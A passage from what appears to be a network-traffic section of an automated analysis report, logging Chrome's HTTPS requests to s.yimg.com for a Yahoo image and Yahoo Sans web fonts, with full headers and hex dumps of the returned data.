TC","HELV","Herald","High Tower Text","Hiragino Kaku Gothic ProN","Hiragino Mincho ProN","Hoefler Text","Humanst 521 Cn BT","Humanst521 BT","Humanst521 Lt BT","Imprint

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49767	69.147.92.12	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:26:29 UTC	391	OUT	GET /rz/p/yahoo_frontpage_en-US_s_f_w_bestfit_frontpage_2x.png HTTP/1.1 Host: s.yimg.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:26:29 UTC	824	IN	HTTP/1.1 200 OK x-amz-id-2: +7hhlMg/bA3mRwA8TOEp+BUqDEG/HxTXDOxvdmFyNQ/KJxNHIZS9N+UWEYVXRRZ3KkH8+JGvYcs= x-amz-request-id: 8T5XEMVC7H4145KR Date: Wed, 10 Jan 2024 13:56:13 GMT Last-Modified: Tue, 09 Jan 2024 21:32:09 GMT ETag: "dd31f56b9e4dff40eb87447c3dc55b84" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=86400 Expires: Thu, 11 Jan 2024 00:00:00 GMT Accept-Ranges: bytes Content-Type: image/png Server: ATS Content-Length: 1391 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 34217 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-01-10 23:26:29 UTC	1300	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 f0 00 00 00 48 08 03 00 00 00 ff 12 88 b8 00 00 00 33 50 4c 54 45 47 70 4c ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff cf d1 8a 61 00 00 00 10 74 52 4e 53 00 85 18 aa e0 f6 3d 09 b9 54 cc 2a 76 ed 98 68 e1 23 f6 e8 00 00 04 db 49 44 41 54 78 5e ed 9a db 92 db 20 0c 86 39 4a 9c f1 fb 3f 6d a7 d9 0b af 90 65 4c 9a 69 67 e8 fe 77 d9 38 86 4f 08 49 88 55 0f f4 a3 1f fd 28 96 53 fd df 01 98 52 ca df 99 49 38 4e b9 7f 07 5c 0e a2 b6 3d b0 a3 c0 79 77 60 a0 bc 49 ed 0e 1c 28 70 dc 1d d8 50 de 8a bb 03 6b 0a ac d5 de c0 3c 64 ed 0e 1c 29 6f 50 7b 03 f3 90 b5 3b 70 a6 bc 4e ed 0d cc 43 d6 ee c0 58 29 b0 d9 1a Data Ascii: PNGIHDRH3PLTEGpLatRNS=T*vh#IDATx^ 9J?meLigw8OIU(SRI8N\=yw`I(pPk<d)oP{;pNCX)
2024-01-10 23:26:29 UTC	91	IN	Data Raw: 15 17 82 6e 56 93 57 ac d4 d3 a0 b6 57 a3 15 f9 f6 c2 4a 03 fb e6 e2 ff a6 b4 b7 78 c8 da 5e c0 ce 66 9b cb 6e 1d b2 e6 f7 e2 db 4b ff 6f 21 8b 5d a9 6f ae f8 bf 85 ac 40 4f 57 db 0b f5 77 c1 8e 88 fb eb 47 bf 00 33 aa 7a 26 16 d7 c0 61 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: nVWWJx^fnKo!]o@OWwG3z&aIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49769	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:26:29 UTC	642	OUT	GET /cv/ae/sports/fonts/2017/Yahoo_Sans-Regular.woff2 HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://login.yahoo.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://s.yimg.com/wm/mbr/6ebaa0694e3f3f0e4b06fe00ae06db7c114eaec2/yahoo-main.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:26:29 UTC	1084	IN	HTTP/1.1 200 OK x-amz-id-2: VA9lPuM1jU2KvENdJZbRADfvSAMbOABjPvG9M6BDxUGZiLgegB5QQh8k5mVRutThvrVwq59Lfao= x-amz-request-id: 208HF1CTCB3H92G6 Date: Thu, 28 Dec 2023 13:12:47 GMT Last-Modified: Thu, 19 Apr 2018 19:06:41 GMT ETag: "a99b283070afc519f4816e4300c515d2" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000,public x-amz-meta-created-date: Tue, 03 Oct 2017 06:22:51 GMT x-amz-meta-mbst-etag: "YM:1:cb5e4811-e042-455c-b2b2-f984d5f70e0200055a9e8550b736" x-amz-meta-x-ysws-mbst-vtime: 1507011771545398 Expires: Sat, 05 Sep 2026 00:00:00 GMT x-amz-meta-x-ysws-access: public Accept-Ranges: bytes Content-Type: font/woff2 Server: ATS Content-Length: 28860 Referrer-Policy: no-referrer-when-downgrade Age: 1160024 Access-Control-Allow-Origin: * ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Vary: Origin ATS-Carp-Promotion: 1
2024-01-10 23:26:29 UTC	1300	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 70 bc 00 10 00 00 00 01 84 f0 00 00 70 59 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 82 a9 38 1c 95 54 06 60 00 89 54 08 81 0a 09 82 73 11 0c 0a 82 f4 4c 82 d0 3c 0b 87 1a 00 01 36 02 24 03 8e 30 04 20 05 8d 00 07 98 2c 0c 89 56 5b 30 6e 71 06 d5 6b e7 07 12 7a b3 aa 1e 37 ec dc 0f 56 c2 6e 62 bf db b1 a8 fc 3c 7b a5 02 6e 0c dd b0 71 30 0c 6e 4f 99 fd ff ff ff b9 49 25 0e 4b 8a b4 bd 83 63 d8 66 f3 3f c8 72 77 2b 02 8a 40 66 20 d3 a9 28 b3 ba 7b 26 4a 08 39 96 5a 31 61 8e 40 18 c2 32 5a cd 67 b3 99 ab 06 13 46 75 6c 28 a2 84 1e a6 b4 d3 41 47 87 25 ad 4d 66 d8 cb 3c 93 68 d7 29 e3 c9 c7 8b 5e 81 ed 2d b4 4c d1 f9 6c a1 0b 8e 88 8a e0 88 4f 33 d6 7d fa e2 25 9e 8b 71 c3 b9 f1 38 99 1e 18 bf e4 Data Ascii: wOF2ppY8T`TsL<6$0 ,V[0nqkz7Vnb<{nq0nOI%Kcf?rw+@f ({&J9Z1a@2ZgFul(AG%Mf<h)^-LlO3}%q8
2024-01-10 23:26:29 UTC	1300	IN	Data Raw: c4 4a 29 d2 94 ed fd bb f9 cd 37 52 bf d1 ae 9d a4 f6 1e 97 bb 35 c2 ab b8 83 50 85 10 83 10 83 30 ce f1 d9 c3 cd 71 ed 89 ff 2d 2d 1b ec d1 fb 7f 76 bf a9 98 a8 89 8a 8a 8a 98 3b c6 66 fb 8e 45 ba c4 02 a4 3d e2 c4 1d fb 69 f4 47 72 a5 be f7 b9 6b b6 98 b2 a6 59 1a 28 20 65 28 83 11 42 d3 a9 2b f0 77 0c 15 98 86 25 b2 ec 7e 7e a3 02 e8 b4 50 2b 6c c3 8d fd c3 41 fd c8 fd 8a f3 80 8f 04 a8 55 c0 78 e4 75 bb 7b 11 cc de 5a e1 04 ab ef 75 7f 82 d3 7b 3d 80 e0 b1 63 a8 84 e0 07 6a 15 04 6a 15 cc 08 2e 24 21 3f d6 14 4a 47 1c 54 98 07 e6 d3 cd 40 90 27 c1 c0 0f 49 ed f5 83 a2 10 09 78 2a 47 f3 55 9a e1 3b 34 c0 86 e9 6f 0a 27 24 a0 1a 03 f8 5c 40 6f a9 5d ba d3 5e 2e 73 72 ee 55 92 4d fd 22 dc 58 bb fd 88 3e e8 03 bf f3 ef 56 15 7f de f5 4b ec 96 70 f7 d5 69 Data Ascii: J)7R5P0q--v;fE=iGrkY( e(B+w%~~P+lAUxu{Zu{=cjj.$!?JGT@'Ix*GU;4o'$\@o]^.srUM"X>VKpi
2024-01-10 23:26:29 UTC	1300	IN	Data Raw: 7e d4 d0 39 23 e7 8d 74 0f f4 e8 ad d1 dd 6d c4 dc 28 96 c0 f6 06 1b 66 b8 3a 79 66 29 df 16 1c 0d 59 4c c2 03 37 c8 24 9d ed 5b 21 59 34 71 67 a7 e0 15 b6 ba 99 b2 f2 f6 01 c3 53 db dd cd 72 ce ac f9 9e bd 99 c6 10 d6 52 88 29 80 1e 2d 3f 9d 24 c1 68 01 24 52 a0 22 01 ae ac 0a 53 5e 74 25 a1 f1 36 7a 72 da d4 86 67 72 f6 ab 76 64 ea ee 2c 4e db 81 3f 6a c7 ef 44 29 65 d8 dc 89 b9 6a 2c 82 ed 75 67 a5 07 81 fe 6a 83 ed 64 b8 19 0e 18 02 c4 14 2f 05 57 1e b7 b3 4d 06 19 76 57 a8 c1 7d 1b 9b 30 9b b9 b6 d1 35 aa 6b aa dd 0f b7 ea 5e db fd 88 5d fb e9 8d 0e 07 8f 04 86 03 21 44 ef d7 13 29 d6 6f ce 76 66 ce 6d 33 d4 61 ea 70 e2 4e cf af 8e 7f 15 34 28 a6 af 8a 9d 57 1c 7d f4 94 05 e8 30 5a a9 3b 41 a5 95 8e 59 b3 b8 d6 1a 7c 85 ed 62 8b ac e6 f4 69 34 72 8b Data Ascii: ~9#tm(f:yf)YL7$[!Y4qgSrR)-?$h$R"S^t%6zrgrvd,N?jD)ej,ugjd/WMvW}05k^]!D)ovfm3apN4(W}0Z;AY\|bi4r
2024-01-10 23:26:29 UTC	1300	IN	Data Raw: b0 3e 29 ac f9 44 6a 35 58 f4 c6 11 91 a3 25 a0 8d 0f 08 c6 e5 3a de e4 38 86 14 7c 2f f8 5a 80 38 08 f1 6a 63 c7 56 b8 fe 0e 4a 8b 82 42 7b 42 54 e3 fa 5a cc 50 0b 6d 84 a6 ce 1f 9c c4 33 88 72 38 70 92 20 6c c9 84 56 a3 a9 45 61 c1 d4 0a 61 6e ae 43 2b 3c 2d 7d d7 56 39 0c 96 55 39 bd f2 45 07 72 15 29 23 57 ba 03 c6 ef 4c 09 d6 25 d5 18 9a a7 86 90 79 a8 c8 fd eb 36 19 78 7b 6d 5b 25 48 52 16 4d 5b 5e fc 12 67 f9 e6 dc 3c a5 06 98 4e 50 67 c2 dd 52 7c d6 21 e2 79 39 c2 22 11 f4 77 93 a2 33 45 61 ee 6b 15 f8 3b 23 25 b3 b8 1b 26 c4 76 c2 1b a7 d9 8e ba ce c1 d5 6a 50 d4 b0 95 8d d2 33 91 04 dd 7e 18 4f 4b e5 9c 0a c8 d6 da e2 44 dd 9c 7d e9 77 03 e6 e2 dd f2 03 73 99 c4 92 27 4b 1a 2e 18 ac c1 30 c8 02 ad da 21 ea 7f 68 c0 f0 31 a8 98 04 3f 04 bd 10 d1 Data Ascii: >)Dj5X%:8\|/Z8jcVJB{BTZPm3r8p lVEaanC+<-}V9U9Er)#WL%y6x{m[%HRM[^g<NPgR\|!y9"w3Eak;#%&vjP3~OKD}ws'K.0!h1?
2024-01-10 23:26:29 UTC	1300	IN	Data Raw: 36 bf 4b 12 06 a5 a6 77 f6 4a 4b 35 24 25 98 50 4b 77 84 c0 73 f7 b8 b2 0f 20 0a d0 86 af 5a 46 a9 9a ed 7d 3c 63 f8 87 91 ff 29 29 b4 d1 e5 fe 40 79 ef f8 d8 a7 72 76 d8 3c 2b 3f d0 47 f4 7e 2a 7e a5 75 5e f9 51 79 ae b4 e6 0c 6c a7 98 d4 90 e3 7e 04 84 e8 63 5b 10 d0 73 a4 a0 17 7f 85 22 23 c1 0b 31 6b 16 92 83 98 52 e1 2d c9 1e 5a 95 4a ea 27 ef 51 1b 94 b9 16 4a 9e 69 7a f7 01 30 ac c6 64 44 c9 56 3b db 2c d3 3a b1 b2 03 62 8f a0 96 c7 fa 75 0a 59 dc da cb 28 fa 9b ad eb aa e4 9c f0 58 1b 0c a2 9d a3 8e b5 46 c6 3d 19 96 f5 f4 87 3a 2b bc a0 e3 f4 6d 87 8c 73 1d 6b 61 cb 03 6e 4e ae 42 12 9d fc 28 6f a4 cd ba 0c 10 4b 06 6b ef b8 42 25 84 8b 77 d5 fa 25 e4 c6 29 0f 5f 3f 15 ce f9 ef 7f f7 d8 e8 2b b7 aa ed 57 06 7a 8a 4d 5a db a2 52 bd 30 bd 79 b9 94 Data Ascii: 6KwJK5$%PKws ZF}<c))@yrv<+?G~*~u^Qyl~c[s"#1kR-ZJ'QJiz0dDV;,:buY(XF=:+mskanNB(oKkB%w%)_?+WzMZR0y
2024-01-10 23:26:29 UTC	1300	IN	Data Raw: b9 01 bb 0d ba 64 af 61 23 5a dc f0 54 ab 71 3f 9d f1 3b 12 f4 a6 2b a3 20 e7 fe 6e b3 98 d1 91 37 6f 1c 76 99 b8 3a 15 71 32 4f 23 67 bb c8 c4 68 77 42 b2 53 4e c9 75 c6 19 79 ce 39 2f 5f b7 6e 05 14 29 2a 0c c1 1b 5a 9d 72 05 7a 80 36 7d 16 68 d7 eb 26 ba cb df ce 5e 5e c4 0b 16 8f 7e 63 31 fa 1b 0d 74 d0 81 25 0e c3 29 a3 c9 64 b1 da ec 26 c7 19 87 d3 e5 f6 78 7d 97 fc 81 70 08 00 9b a1 d1 ff 74 a6 84 fc ff d5 ff 11 04 45 b9 a3 f1 ea 54 2e 53 68 8e 1f 61 7a a7 0e 02 b3 b4 80 6d c0 1e 80 6e 80 89 80 bd 78 3a da dd a0 37 54 99 06 75 54 78 86 a7 06 77 4f 47 d3 15 ff 5b 23 e8 ee 3d f4 40 8e 7c 12 0d 69 3f 91 6d 69 e2 60 d8 7d 1c 0f e8 1a 3a ef 51 a5 9c 80 a0 2e 30 ef d6 b5 4c ff 05 cc 11 b5 31 5c e3 c0 47 cf 61 b6 80 f3 ff 72 a3 8a a0 ef 30 44 c6 3e 58 3e Data Ascii: da#ZTq?;+ n7ov:q2O#ghwBSNuy9/_n)*Zrz6}h&^^~c1t%)d&x}ptET.Shazmnx:7TuTxwOG[#=@\|i?mi`}:Q.0L1\Gar0D>X>
2024-01-10 23:26:29 UTC	1300	IN	Data Raw: 0e 21 ee 77 04 94 dd 33 a2 82 36 74 7f 90 50 ac 8c 8d cf 10 8d 32 a6 a5 18 f7 26 21 3e 7c 7d 46 c1 ae 39 7a 46 2e ce 5b 7e 46 6b b4 3a bc 2b d3 26 fc 3c 82 62 d5 a3 59 be d5 b5 d8 52 73 ad 33 48 ea 25 97 6c 58 11 e4 44 f2 ea 0d 2b bb f2 11 d4 65 d7 7b 0d 2d c6 da c6 ba 78 7d e4 4e c3 af 8b 45 5b 2f 8c aa d2 18 4f aa d1 5a 7d 0d 6d 6a 73 5b 4e 85 46 b6 f3 e2 8d fd c7 60 74 87 de 44 9a 1b 08 e7 e7 fe 41 3f 7c c8 93 1e b4 26 ef 8d e4 01 8c 11 c2 dd 53 e6 b4 3a d1 c9 0e 77 ae ee 4e 75 be d3 9d a9 ab b3 1d ea 58 c7 6b ef 48 47 eb a8 13 a2 45 05 95 3a 0d fa ef a9 5e d6 b9 e6 89 93 28 53 a1 22 67 9c 35 e8 22 52 44 6a 37 c3 21 a7 34 93 36 03 a6 65 c0 f9 f0 8b 4c d4 04 44 3a 8c 0c 07 9b 9f 11 1a 20 63 2f 3e 19 af d0 50 ac 8c 55 51 d2 ea d6 9c a0 8d ac e7 17 be 31 Data Ascii: !w36tP2&!>\|}F9zF.[~Fk:+&<bYRs3H%lXD+e{-x}NE[/OZ}mjs[NF`tDA?\|&S:wNuXkHGE:^(S"g5"RDj7!46eLD: c/>PUQ1
2024-01-10 23:26:29 UTC	1300	IN	Data Raw: a0 48 83 ef 98 dd 2c 2f 9f c3 33 da e3 aa dc 36 d9 8c 24 62 8d 19 90 94 61 b5 3a 80 f8 08 50 6e 01 b1 05 18 fc 09 60 d4 5f d0 35 12 b4 9d 01 f6 bc 1b 90 30 18 84 0c 87 2e a4 f3 63 33 c2 4c 9c 4b ee 11 c6 71 4b 30 2a d8 c1 45 26 16 44 41 74 70 e7 b9 24 d4 ca 22 69 6d 40 1a 57 ab ab 7f bd 39 ab 06 d5 89 8e 09 88 5c f9 f4 19 b4 a8 12 5e 4c 42 9a c7 b8 5a 93 a2 96 ef 85 95 f6 a5 a9 52 26 21 5b 6a 0b a5 6c 8a 66 5e 4a 57 50 8b 7d 5d e2 88 8b 4e b1 09 c4 bd 7b 16 29 41 59 52 05 0b bd 4b c3 91 12 8f 43 2a 32 89 ea 97 86 17 6f e5 05 6e d1 f9 82 47 f3 b7 94 e6 74 e5 53 e9 cb be 14 d4 f3 dc c4 9f 1f 80 be a9 35 e7 3a e9 b4 4c b7 2d ad b6 a9 69 5a c0 29 e5 2d ed b2 23 88 c7 79 d7 30 a4 a8 24 75 4d c5 10 be 6f f0 ca b7 f8 96 16 72 cb d6 85 46 35 95 d2 b6 1e 58 4d cf Data Ascii: H,/36$ba:Pn`_50.c3LKqK0E&DAtp$"im@W9\^LBZR&![jlf^JWP}]N{)AYRKC2onGtS5:L-iZ)-#y0$uMorF5XM
2024-01-10 23:26:30 UTC	1300	IN	Data Raw: b9 a5 8e 09 43 2d 2d 57 4e 4a 18 f6 01 4c 5e c0 7c b9 22 78 32 8d b8 13 fc 42 75 af 36 dd b7 92 8e a4 9d bd 3a 3e db a0 10 0e 47 ad 0b 98 18 a9 52 21 77 e4 28 95 68 dd b6 ed 91 c9 36 86 8f 44 91 d0 8e 80 0a 99 c4 f2 52 83 40 6a 1a e5 b2 ad 8e de 85 8a f2 57 70 41 81 a3 c5 03 3f 3c 2e 29 db 5c aa 50 1e 30 97 ff da 9d a4 2d 7b c9 10 66 03 7a b1 15 04 ca 49 23 c8 30 af 53 19 30 ef 51 7a 74 f0 c8 c1 58 74 74 96 fb 88 ae 7e 24 70 f8 c0 7c 34 20 c0 ec c7 7e 5d 9a c1 5b 27 54 75 50 37 f0 ba 4d ea cf 9c e0 8d d9 ef b0 cc 33 aa dd 2e c2 76 f3 06 6d 27 2e c4 b5 d6 c9 08 89 2e 2b bb 66 60 ff a6 1b 99 49 77 18 1b 0e 27 f8 a1 8b 2f 5f 98 e9 f5 4e 78 39 25 ef 65 53 39 91 97 f2 7b c4 49 b5 5e a1 f2 19 c1 4e 70 ba 50 d8 45 87 47 2c 6b a4 4a 52 87 ad 36 6c 63 3b 9a 1a 5b Data Ascii: C--WNJL^\|"x2Bu6:>GR!w(h6DR@jWpA?<.)\P0-{fzI#0S0QztXtt~$p\|4 ~]['TuP7M3.vm'..+f`Iw'/_Nx9%eS9{I^NpPEG,kJR6lc;[
2024-01-10 23:26:30 UTC	1300	IN	Data Raw: e2 7a c3 7c ac f1 36 2f 74 67 e5 ce 7b 1d 88 bf 4c 76 2e bd a2 b4 98 b2 21 a2 a1 4b 91 86 a7 10 5d ea ab 98 0a ac 5a 56 e2 ca 3c 30 c2 e8 9a 67 57 1f d6 a5 96 00 b0 de 88 e8 ff 68 ee 2c 91 b8 30 64 94 83 23 78 30 36 e3 dd 05 44 c1 50 e5 c3 94 cf b5 d8 38 18 78 88 8b 1f e3 61 2e 62 39 6c 7e 79 e9 34 93 8e 34 ff 98 05 7f 84 5b 06 4a a6 d9 79 8f 94 b6 70 85 e2 4c 18 7b 5f ed dd 19 3f bb 9d 8d 89 29 53 9e 4d bf cd ce 9d 19 9a 8c e4 42 06 02 86 b8 36 6a 81 4e 4d 1d 23 73 95 cf 51 7d e5 ab 8a 06 c8 8a 99 28 38 4a 6a 19 f1 54 e5 12 1d 78 96 d4 68 57 5e cc 21 8e d1 1b c9 39 ba f5 09 46 ec 60 a8 0d c3 8e a5 4c f9 d8 15 1d ed b6 23 0c c9 05 09 93 b6 e8 e3 42 d7 86 2a 32 8a 88 6c 27 c5 6b 7f ff 2e 19 ef 81 bc dd 55 5e 73 35 90 11 c3 78 42 71 f9 c5 59 26 35 e5 e5 a0 Data Ascii: z\|6/tg{Lv.!K]ZV<0gWh,0d#x06DP8xa.b9l~y44[JypL{_?)SMB6jNM#sQ}(8JjTxhW^!9F`L#B*2l'k.U^s5xBqY&5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49768	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:26:29 UTC	641	OUT	GET /cv/ae/sports/fonts/2017/Yahoo_Sans-Medium.woff2 HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://login.yahoo.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://s.yimg.com/wm/mbr/6ebaa0694e3f3f0e4b06fe00ae06db7c114eaec2/yahoo-main.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:26:29 UTC	1084	IN	HTTP/1.1 200 OK x-amz-id-2: bn1LtGh9SEKJ7AFDMihT3YLe1ofDDjDJbhx1q6tpwsY+s99UdXqOPUmiAV9LdS5GFOxRrUqhnBs= x-amz-request-id: YXQQFPTXF6X852V7 Date: Sun, 17 Dec 2023 16:48:30 GMT Last-Modified: Thu, 19 Apr 2018 16:25:50 GMT ETag: "7c7c02dcee2bf1c2528db6092d4ad1fa" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000,public x-amz-meta-created-date: Tue, 03 Oct 2017 06:22:52 GMT x-amz-meta-mbst-etag: "YM:1:1bb49599-26ac-442e-b6b8-f4e40f067ea500055a9e855b6ecb" x-amz-meta-x-ysws-mbst-vtime: 1507011772247755 Expires: Sat, 05 Sep 2026 00:00:00 GMT x-amz-meta-x-ysws-access: public Accept-Ranges: bytes Content-Type: font/woff2 Server: ATS Content-Length: 29228 Referrer-Policy: no-referrer-when-downgrade Age: 2097480 Access-Control-Allow-Origin: * ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Vary: Origin ATS-Carp-Promotion: 1
2024-01-10 23:26:29 UTC	1300	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 72 2c 00 10 00 00 00 01 85 34 00 00 71 c9 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 82 af 28 1c 95 54 06 60 00 89 54 08 81 12 09 82 73 11 0c 0a 82 ef 24 82 cb 34 0b 87 1a 00 01 36 02 24 03 8e 30 04 20 05 8d 08 07 98 2c 0c 89 42 5b 94 6e 71 05 e7 e6 c4 bf 57 50 a0 9e 80 91 bf 53 b7 ee 62 05 ca 6d 17 40 77 20 75 2a 95 a5 ab 60 c7 5e 04 36 0e 00 42 ff d9 b2 ff ff ff 4f 4d 2a 32 66 1a 46 da b2 0d 10 dc 55 e5 0a 31 41 cc 23 c2 a6 1b 87 72 59 c2 2a ab 07 62 91 09 84 9b d6 23 82 c8 b1 52 c7 06 61 9f e3 0d 87 d1 89 7b 2e 63 d8 fc a3 92 ad 26 5d f0 87 9b c0 93 b8 4f 3e 5e 58 71 b7 cd f4 69 8d 3b 57 c1 4c 3c f1 46 bf 0f d4 3a 3e 13 9a d8 0a d1 97 4a 5c e4 ff c4 25 db 36 d3 31 10 dc 9d e9 0c 2c 56 05 6e Data Ascii: wOF2r,4q(T`Ts$46$0 ,B[nqWPSbm@w u`^6BOM2fFU1A#rY*b#Ra{.c&]O>^Xqi;WL<F:>J\%61,Vn
2024-01-10 23:26:29 UTC	1300	IN	Data Raw: 3d f6 f7 72 75 47 99 e3 2e 40 0c 75 b1 69 d6 a4 df 5e 9f 90 39 59 19 b0 65 23 d9 12 e6 ae 85 78 fd 59 de 98 bd 74 a7 54 56 a2 7b 1d 30 25 16 47 49 69 1f 3f 68 f5 bc 10 e5 a3 a9 00 8b 6c 50 09 3b e1 a4 80 08 e0 de 71 6d 7a 22 e8 23 00 ad 16 60 3b 1a c7 5e 36 93 02 cb cf b0 08 0a ec bf 07 07 50 e0 fe 23 38 90 02 df 0b c2 fc 29 f0 03 ad 16 08 b4 5a 60 0c 71 48 40 8d 27 37 0d fd f6 1b 53 13 c1 7a 6a 03 42 3e 02 06 de ff 59 cb 63 a0 a4 22 80 f7 d7 44 3d af af 83 1c fa c3 71 b9 62 cc 1a bb c7 c8 24 9c 62 a6 35 53 ea 94 3d 1d 5d 78 7c 6a 5d 48 87 33 6e 98 de 8a 50 3e 94 3f 0b 47 79 9b 6f eb 89 f2 b9 3c 2d ba 7d bb f1 45 2a 86 94 c3 b9 13 38 b4 da 70 47 69 5c a0 57 69 b4 e7 e6 a7 05 5d 6c 79 d6 ec b6 8c da 70 22 02 99 30 46 b1 b1 f6 9c 1d b7 2f 95 16 8c 09 92 21 Data Ascii: =ruG.@ui^9Ye#xYtTV{0%GIi?hlP;qmz"#`;^6P#8)Z`qH@'7SzjB>Yc"D=qb$b5S=]x\|j]H3nP>?Gyo<-}E*8pGi\Wi]lyp"0F/!
2024-01-10 23:26:29 UTC	1300	IN	Data Raw: da b3 e0 31 39 0e e6 72 db 58 74 ef f4 7d 19 3c 43 38 d1 e9 75 ed ed 9a 01 f4 5c 98 a6 81 88 32 5a 3c 87 7e 93 e8 b4 e1 fd 3f 4e 9b 70 5f cf bc 1e 88 31 55 1d 5a eb da b8 6a 57 ac dd 46 2f 7d fa b7 54 6e f7 20 e1 ec b4 41 14 a4 dd 4b a6 2b a2 a9 58 6a e0 d8 18 28 8b 36 d8 7b f3 e7 49 d5 85 8a 2e a3 e4 d9 35 9e b0 5d 0d 06 55 97 8a ae 56 82 ab 94 b6 0a 58 3c 30 35 52 6a 7b 3d 0c 3a 22 11 74 36 83 b6 44 07 db 86 0f 29 60 d2 a6 95 68 10 8a 85 60 46 54 2d d0 94 a2 41 3b 36 34 fb 9b 39 90 f3 f4 1c 97 d5 b8 6e ca 7d 8d 2e 34 76 43 d7 98 94 cd bd 6d 1b 09 9b 4b db 10 05 71 4f 33 86 42 52 91 76 23 d9 1c 58 c2 94 a0 44 39 ae 85 53 95 f0 3f c3 54 d1 98 cc fe b6 1c 6a cb e1 5e 39 d2 8a e3 0d 9c ea b6 22 7a 4a 58 2b 65 a7 ac 1d e7 1a 38 df 9c ca b6 d5 b4 a3 b6 53 e3 Data Ascii: 19rXt}<C8u\2Z<~?Np_1UZjWF/}Tn AK+Xj(6{I.5]UVX<05Rj{=:"t6D)`h`FT-A;649n}.4vCmKqO3BRv#XD9S?Tj^9"zJX+e8S
2024-01-10 23:26:29 UTC	1300	IN	Data Raw: d1 a3 14 71 98 5d 64 43 ca 26 8f 81 a5 17 1e 4d 49 94 eb b9 9e 39 88 f2 55 de 0a d3 5e 61 bd 2e 5a 31 89 f8 2a a1 34 1d 0f 1b 09 05 00 5e 59 01 83 c1 9a 17 71 4e a9 88 c5 5d fe ac 0b 35 ef 46 14 3e 7b 91 75 7d ef 7f 09 0d ba bf c9 b1 de 7b 9f bd f3 a2 74 90 ee 6c 19 fd 46 d2 1d c3 1c 4c 49 9f 39 92 ba 5d 44 c3 79 f5 00 76 36 cd 46 a2 f9 51 26 e0 9b 8d b3 0f 23 5c 5c 89 73 8a 03 9b ef ab 7d 73 98 82 2d 17 e4 e6 0e df c5 b3 b5 eb ea ae bb f9 b6 d2 34 be e2 a9 bf be 39 2c f8 b7 90 35 b4 79 15 95 fd 6b ca 87 d9 9e 70 2c 28 d8 e6 0d 31 87 cc 3f 79 a7 16 57 dd 4b 24 a4 65 c6 e5 8e e5 87 74 ab e5 0c dc 43 8e 33 4d 61 e9 2b b8 0b b3 30 c1 70 21 4f 50 e7 6b 3c 18 16 d4 e7 62 85 cc 9c f5 da ed f5 07 8b dd 69 2f 81 4b 62 e7 a1 97 36 ee 69 36 c1 09 d0 1c 53 f8 dd 17 Data Ascii: q]dC&MI9U^a.Z1*4^YqN]5F>{u}{tlFLI9]Dyv6FQ&#\\s}s-49,5ykp,(1?yWK$etC3Ma+0p!OPk<bi/Kb6i6S
